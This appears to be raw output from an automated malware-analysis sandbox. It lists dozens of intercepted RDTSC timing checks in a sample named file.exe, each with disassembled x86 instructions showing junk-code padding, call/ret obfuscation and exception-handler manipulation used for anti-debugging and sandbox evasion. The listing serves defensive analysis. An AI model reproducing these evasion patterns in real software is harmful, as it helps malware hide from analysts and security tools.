Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B60E second address: 59B676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 mov edi, edx 0x00000008 push 00000000h 0x0000000a or dword ptr [ebp+122D2EDEh], ecx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F8B0CFA0378h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c jl 00007F8B0CFA038Ah 0x00000032 call 00007F8B0CFA037Eh 0x00000037 mov esi, 4A8C9523h 0x0000003c pop esi 0x0000003d xchg eax, ebx 0x0000003e jmp 00007F8B0CFA037Ch 0x00000043 push eax 0x00000044 pushad 0x00000045 push edi 0x00000046 pushad 0x00000047 popad 0x00000048 pop edi 0x00000049 push eax 0x0000004a push edx 0x0000004b push ebx 0x0000004c pop ebx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BFCC second address: 59BFF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8B0CDF43D2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BFF0 second address: 59C00B instructions: 0x00000000 rdtsc 0x00000002 js 00007F8B0CFA0376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8B0CFA037Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C00B second address: 59C022 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8B0CDF43D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C022 second address: 59C073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov esi, dword ptr [ebp+122D2875h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F8B0CFA0378h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov esi, ecx 0x0000002c cmc 0x0000002d push 00000000h 0x0000002f stc 0x00000030 xchg eax, ebx 0x00000031 pushad 0x00000032 pushad 0x00000033 jmp 00007F8B0CFA0386h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D100 second address: 59D10A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8B0CDF43C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59C954 second address: 59C958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D10A second address: 59D19C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007F8B0CDF43D5h 0x00000011 mov esi, 5247FF23h 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F8B0CDF43C8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 add dword ptr [ebp+1245A395h], edi 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007F8B0CDF43C8h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 0000001Bh 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 mov esi, dword ptr [ebp+122D19ECh] 0x0000005b sub dword ptr [ebp+122D373Dh], ecx 0x00000061 push eax 0x00000062 push edi 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DD66 second address: 59DD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DD6A second address: 59DD6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DACF second address: 59DAD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DD6E second address: 59DD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59DD74 second address: 59DD7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F8B0CFA0376h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BF55 second address: 55BF60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BF60 second address: 55BF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 jl 00007F8B0CFA03ADh 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BF72 second address: 55BF76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BF76 second address: 55BF94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0385h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BF94 second address: 55BF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A13FE second address: 5A1418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CFA0386h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1418 second address: 5A141C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A141C second address: 5A142F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F8B0CFA0378h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A142F second address: 5A1434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1434 second address: 5A14C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8B0CFA0376h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+1247FBA4h], ecx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F8B0CFA0378h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 xor dword ptr [ebp+122D1C75h], eax 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F8B0CFA0378h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 sub esi, dword ptr [ebp+122D2B71h] 0x00000058 xchg eax, ebx 0x00000059 jne 00007F8B0CFA0384h 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jg 00007F8B0CFA0382h 0x00000068 jmp 00007F8B0CFA037Ch 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A458E second address: 5A459F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F8B0CDF43C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A459F second address: 5A45A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A45A5 second address: 5A4611 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8B0CDF43D6h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D2EEBh], ebx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F8B0CDF43C8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 pushad 0x00000031 xor cx, 132Bh 0x00000036 push ebx 0x00000037 js 00007F8B0CDF43C6h 0x0000003d pop eax 0x0000003e popad 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F8B0CDF43CFh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4611 second address: 5A461B instructions: 0x00000000 rdtsc 0x00000002 je 00007F8B0CFA037Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A544F second address: 5A5453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5453 second address: 5A54D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F8B0CFA0378h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+1245ED50h], edx 0x0000002a mov dword ptr [ebp+1245EBE6h], eax 0x00000030 push 00000000h 0x00000032 xor dword ptr [ebp+122D2E22h], ecx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F8B0CFA0378h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 add ebx, 37581897h 0x0000005a sub ebx, dword ptr [ebp+122D2F28h] 0x00000060 xchg eax, esi 0x00000061 jnc 00007F8B0CFA0380h 0x00000067 push eax 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b jg 00007F8B0CFA0376h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A83B8 second address: 5A83CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CDF43D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A83CF second address: 5A83D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A83D3 second address: 5A845E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F8B0CDF43CFh 0x00000012 popad 0x00000013 jmp 00007F8B0CDF43D1h 0x00000018 popad 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F8B0CDF43C8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D29C1h] 0x0000003a push 00000000h 0x0000003c movsx edi, bx 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007F8B0CDF43C8h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000015h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b or bl, 00000044h 0x0000005e push eax 0x0000005f push edi 0x00000060 push eax 0x00000061 push edx 0x00000062 jc 00007F8B0CDF43C6h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A940F second address: 5A942C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8B0CFA0378h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8B0CFA037Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A942C second address: 5A94AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, dword ptr [ebp+122D2B0Dh] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F8B0CDF43C8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c or edi, dword ptr [ebp+122D2825h] 0x00000032 push 00000000h 0x00000034 call 00007F8B0CDF43D4h 0x00000039 mov dword ptr [ebp+122D1AB9h], ebx 0x0000003f pop ebx 0x00000040 xchg eax, esi 0x00000041 push eax 0x00000042 push edx 0x00000043 jg 00007F8B0CDF43DEh 0x00000049 jmp 00007F8B0CDF43D8h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA5ED second address: 5AA5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB606 second address: 5AB60A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB60A second address: 5AB6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8B0CFA0388h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F8B0CFA0378h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov edi, 3357CE9Bh 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F8B0CFA0378h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a mov ebx, 6905C23Dh 0x0000004f push 00000000h 0x00000051 or dword ptr [ebp+1245F73Ch], esi 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F8B0CFA0389h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB6A2 second address: 5AB6C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b js 00007F8B0CDF43C8h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F8B0CDF43C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A1C38 second address: 5A1C4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA037Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD5E3 second address: 5AD65B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F8B0CDF43C8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 cld 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F8B0CDF43C8h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 mov ebx, esi 0x00000045 pushad 0x00000046 push edx 0x00000047 mov dl, ch 0x00000049 pop edi 0x0000004a add dword ptr [ebp+1245F76Fh], ecx 0x00000050 popad 0x00000051 push 00000000h 0x00000053 add di, B315h 0x00000058 mov bl, DFh 0x0000005a xchg eax, esi 0x0000005b push ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e jg 00007F8B0CDF43C6h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE6DA second address: 5AE74E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0388h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edi 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F8B0CFA0378h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+12463F9Eh], edx 0x00000033 push 00000000h 0x00000035 mov bx, 6908h 0x00000039 xchg eax, esi 0x0000003a jmp 00007F8B0CFA0388h 0x0000003f push eax 0x00000040 js 00007F8B0CFA0380h 0x00000046 push eax 0x00000047 push edx 0x00000048 push esi 0x00000049 pop esi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556E09 second address: 556E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F8B0CDF43D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556E24 second address: 556E3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F8B0CFA0376h 0x00000009 jmp 00007F8B0CFA037Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B249D second address: 5B2514 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push esi 0x0000000d jc 00007F8B0CDF43C6h 0x00000013 pop esi 0x00000014 pop ebx 0x00000015 nop 0x00000016 add dword ptr [ebp+122D369Ah], esi 0x0000001c push 00000000h 0x0000001e movzx edi, si 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F8B0CDF43C8h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d call 00007F8B0CDF43D3h 0x00000042 mov dword ptr [ebp+122D1BA0h], ecx 0x00000048 pop edi 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d pushad 0x0000004e popad 0x0000004f pop eax 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2514 second address: 5B251A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3517 second address: 5B351B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B557A second address: 5B5594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8B0CFA0381h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5594 second address: 5B5598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5598 second address: 5B55AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8B0CFA037Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B55AD second address: 5B5612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D2E22h], ecx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F8B0CDF43C8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a or dword ptr [ebp+122D3532h], eax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007F8B0CDF43C8h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c xor bl, 00000063h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5612 second address: 5B5619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5619 second address: 5B561E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7518 second address: 5A7526 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8B0CFA0376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7604 second address: 5A7611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F8B0CDF43C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A86A6 second address: 5A86AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9652 second address: 5A966C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A966C second address: 5A9682 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8B0CFA0381h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA846 second address: 5AA854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CDF43CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA854 second address: 5AA858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA858 second address: 5AA8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor dword ptr [ebp+1247F524h], esi 0x0000000f push dword ptr fs:[00000000h] 0x00000016 pushad 0x00000017 mov edx, 5821B154h 0x0000001c add di, B550h 0x00000021 popad 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007F8B0CDF43C8h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 jne 00007F8B0CDF43C9h 0x00000049 mov eax, dword ptr [ebp+122D0B85h] 0x0000004f call 00007F8B0CDF43D3h 0x00000054 mov dword ptr [ebp+122D2EF6h], eax 0x0000005a pop edi 0x0000005b push FFFFFFFFh 0x0000005d mov dword ptr [ebp+122D373Dh], edi 0x00000063 nop 0x00000064 push eax 0x00000065 push ebx 0x00000066 pushad 0x00000067 popad 0x00000068 pop ebx 0x00000069 pop eax 0x0000006a push eax 